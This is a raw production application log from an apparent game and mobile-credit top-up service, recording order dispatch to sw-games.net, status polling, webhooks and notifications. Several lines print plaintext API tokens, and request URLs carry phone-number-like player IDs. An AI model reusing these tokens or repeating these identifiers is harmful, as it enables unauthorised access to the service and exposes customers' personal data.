[2026-03-24 08:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03"} 
[2026-03-24 08:40:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:40:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:40:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:40:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:40:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:40:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:40:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:40:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rLKr3trpcs77bAR56LXVGIOsWXAVDBsZ","execution_time":"2026-03-24 08:40:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:40:05] production.INFO: async() رجع: true  
[2026-03-24 08:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:40:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:40:19] production.INFO: Constructing job for order: 178528  
[2026-03-24 08:40:21] production.INFO: Handling job for order: 178528  
[2026-03-24 08:40:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 08:40:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 08:40:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/624/params?qty=400000&uuid=af3b01a8-80ff-4aa9-b585-650005f1ffff&Player_ID=00000002  
[2026-03-24 08:40:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/624/params?qty=400000&uuid=af3b01a8-80ff-4aa9-b585-650005f1ffff&Player_ID=00000002","has_body":false} 
[2026-03-24 08:40:22] production.INFO: Operation sent successfully {"operation_id":163459,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ohKe8y8C-1774330822","amount":3.86580000000000012505552149377763271331787109375,"status":"processing","product":"Salam Amount","game":"Salam","notes":[],"created_at":"2026-03-24 08:40:22"}},"processed_data":{"order_number":"ORD-ohKe8y8C-1774330822","amount":3.86580000000000012505552149377763271331787109375,"status":"processing","product":"Salam Amount","game":"Salam"}} 
[2026-03-24 08:41:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ohKe8y8C-1774330822","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 08:41:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-ohKe8y8C-1774330822","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 08:41:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 08:41:05] production.INFO: SendAcceptReject: Notification queued {"user_id":771,"notification_type":"order_approved","reference_id":178528} 
[2026-03-24 08:41:05] production.INFO: Order updated successfully. Order ID: 178528, Status: completed  
[2026-03-24 08:41:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ohKe8y8C-1774330822","status":"completed","codes_count":0} 
[2026-03-24 08:41:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 08:42:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01"} 
[2026-03-24 08:42:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:42:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:42:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:42:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:42:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:42:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:42:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:42:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"NlcVIp6Iw7hkDOkdAYznlF3gkMmMwbXI","execution_time":"2026-03-24 08:42:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:44:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02"} 
[2026-03-24 08:44:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:44:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:44:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"p3ic8CbsA8zwH28himu90nME9xG8tL3E","execution_time":"2026-03-24 08:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:45:04] production.INFO: async() رجع: true  
[2026-03-24 08:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:45:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:45:36] production.INFO: Constructing job for order: 178529  
[2026-03-24 08:45:38] production.INFO: Handling job for order: 178529  
[2026-03-24 08:45:38] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 08:45:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 08:45:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=dc179bb7-3bf1-4586-9459-d1058a0e7993&Player_ID=0968332486  
[2026-03-24 08:45:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=dc179bb7-3bf1-4586-9459-d1058a0e7993&Player_ID=0968332486","has_body":false} 
[2026-03-24 08:45:39] production.INFO: Operation sent successfully {"operation_id":163460,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6azQ0-1774331139","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 08:45:39"}},"processed_data":{"order_number":"ORD-6azQ0-1774331139","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 08:45:45] production.INFO: Constructing job for order: 178530  
[2026-03-24 08:45:48] production.INFO: Handling job for order: 178530  
[2026-03-24 08:45:48] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 08:45:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 08:45:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=89dd8f48-68e2-4088-abf2-98c2dbfddb15&Player_ID=0968332486  
[2026-03-24 08:45:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=89dd8f48-68e2-4088-abf2-98c2dbfddb15&Player_ID=0968332486","has_body":false} 
[2026-03-24 08:45:49] production.INFO: Operation sent successfully {"operation_id":163461,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-rLlY-1774331149","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 08:45:49"}},"processed_data":{"order_number":"ORD-rLlY-1774331149","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 08:45:54] production.INFO: Constructing job for order: 178531  
[2026-03-24 08:45:55] production.INFO: Handling job for order: 178531  
[2026-03-24 08:45:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 08:45:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 08:45:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=71ec3984-3d7d-4248-a07f-b16044be927f&Player_ID=0968332486  
[2026-03-24 08:45:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=71ec3984-3d7d-4248-a07f-b16044be927f&Player_ID=0968332486","has_body":false} 
[2026-03-24 08:45:55] production.INFO: Operation sent successfully {"operation_id":163462,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gK0p6MqS-1774331155","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 08:45:55"}},"processed_data":{"order_number":"ORD-gK0p6MqS-1774331155","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 08:46:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01"} 
[2026-03-24 08:46:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","total_operations":4,"sites_count":2} 
[2026-03-24 08:46:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:46:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3,"order_ids":["ORD-6azQ0-1774331139","ORD-rLlY-1774331149","ORD-gK0p6MqS-1774331155"]} 
[2026-03-24 08:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":3} 
[2026-03-24 08:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462} 
[2026-03-24 08:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 08:46:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 08:46:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"count":2} 
[2026-03-24 08:46:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"count":2} 
[2026-03-24 08:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"user_id":34,"notification_type":"order_approved","reference_id":178529} 
[2026-03-24 08:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"user_id":34,"notification_type":"order_approved","reference_id":178530} 
[2026-03-24 08:46:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 08:46:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 08:46:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"processed":2,"errors":0} 
[2026-03-24 08:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461,"processed":2,"errors":0} 
[2026-03-24 08:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yFq1yksetNVhzURlFjxEXuS4szbZ0rrC","execution_time":"2026-03-24 08:46:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-rLlY-1774331149","operation_id":163461} 
[2026-03-24 08:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 08:46:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 08:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02"} 
[2026-03-24 08:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","total_operations":2,"sites_count":2} 
[2026-03-24 08:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:48:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:48:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-gK0p6MqS-1774331155"]} 
[2026-03-24 08:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:48:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 08:48:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 08:48:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 08:48:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"count":1} 
[2026-03-24 08:48:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"count":1} 
[2026-03-24 08:48:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KNF9hYTMnlwdV7nUeahrBhtuOGmv42TI","execution_time":"2026-03-24 08:48:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gK0p6MqS-1774331155","operation_id":163462,"user_id":34,"notification_type":"order_approved","reference_id":178531} 
